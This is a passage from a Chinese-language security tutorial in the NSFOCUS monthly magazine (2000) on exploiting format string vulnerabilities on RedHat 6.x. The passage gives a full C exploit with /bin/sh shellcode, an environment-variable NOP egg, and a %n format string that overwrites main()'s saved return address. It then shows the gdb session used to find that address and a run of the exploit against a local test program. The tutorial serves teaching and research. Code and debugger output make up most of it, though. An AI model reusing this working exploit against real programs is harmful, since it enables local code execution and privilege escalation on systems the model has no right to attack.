首页 -> 安全研究
安全研究
绿盟月刊
绿盟安全月刊->第12期->技术专题
作者:warning3 (warning3@nsfocus.com)
主页:http://www.nsfocus.com
日期:2000-08-15
测试平台:RedHat 6.1, RedHat 6.2 (Intel i386)
(继续)
那么让我们来写一个简单的测试程序来看一下:
<- begin -> exp.c
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_ALIGNMENT 2 // 我们使用两个字节来进行"对齐"
#define DEFAULT_RETLOC 0xbffff6dc // 存放main()返回地址的地址
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
char *env[2];
long shell_addr,retloc=DEFAULT_RETLOC;
int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;
int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;
int fmt_num=4, i;
if (argc > 1) sscanf(argv[1],"%x",&retloc); // 存放main()返回地址的地址
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) align = atoi(argv[3]);
if (argc > 4) bsize = atoi(argv[4]);
if (argc > 5) eggsize = atoi(argv[5]);
printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
printf("Using Ret location address: 0x%x\n", retloc);
shell_addr = get_esp() + offset; //计算我们shellcode所处的地址
printf("Using Shellcode address: 0x%x\n", shell_addr);
ptr = buff;
memset(buff,'A',4);
i = align;
buff[i] = retloc & 0x000000ff; // 将retloc放到buff里
buff[i+1] = (retloc & 0x0000ff00) >> 8;
buff[i+2] = (retloc & 0x00ff0000) >> 16;
buff[i+3] = (retloc & 0xff000000) >> 24;
ptr = buff + i + 4;
for(i = 0 ; i < 4 ; i++ ) //存放%.10u%.10u%.10u%.10u
{
memcpy(ptr, "%.10u", 5);
ptr += 5;
}
/* 存放"%.SHELL_ADDRu%n",为了使显示总长度等于shell_addr,
* 我们减去4个%.10u的长度:4*10,再减去"argv[1] = xxRETloc"的长度:12+4
* 将这个长度作为第5个%u的宽度值
*/
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
env[0] = egg ;
env[1] = (char *)0 ;
execle("./vul","vul",buff,NULL,env);
} /* end of main */
<- end ->
注意:在我们的程序里,我们实际使用的模式是:
AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n
选用%.10u的原因是:如果用"%.nu"来显示一个数值的时候,若数值长度大于n,则仍然会
显示实际的长度,而不会截断为n。只有在数值长度小于n时,才会在数值前面补'0'使显
示长度达到n.而一个四字节的无符号整数,最大为0xffffffff = 4294967295,其长度也
就是10,因此,使用%.10u将保证显示长度的精确(肯定为10).现在唯一要确定的就是
RETloc,也就是main()的返回地址了。这也很简单:
[root@rh62 /root]# ./x 0x41414141
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0x41414141
Using Shellcode address: 0xbffffb08
Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
GNU gdb 19991004
<....>
#0 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
ap=0xbffff2e8) at vfprintf.c:1212
1212 vfprintf.c: No such file or directory.
(gdb) bt
#0 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
ap=0xbffff2e8) at vfprintf.c:1212
#1 0x40070716 in _IO_vsnprintf (
string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133", maxlen=1023,
format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
args=0xbffff2d0) at vsnprintf.c:129
#2 0x80484de in log (level=1,
fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n")
at vul.c:13
#3 0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33
(gdb) i f 3 -----> 查看main()的栈帧
Stack frame at 0xbffff6d8:
eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb
caller of frame at 0xbffff2c0
source language c.
Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724
Locals at 0xbffff6d8, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffff6d8, eip at 0xbffff6dc ----> OK,存放eip的地址是0xbffff6dc
(gdb)
好的,既然现在我们已经知道了RETloc的地址,就让我们运行一下我们的攻击程序看看吧:
[root@rh62 /root]# ./x 0xbffff6dc
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0xbffff6dc
Using Shellcode address: 0xbffffb08
argv[1] = AA荟
版权所有,未经许可,不得转载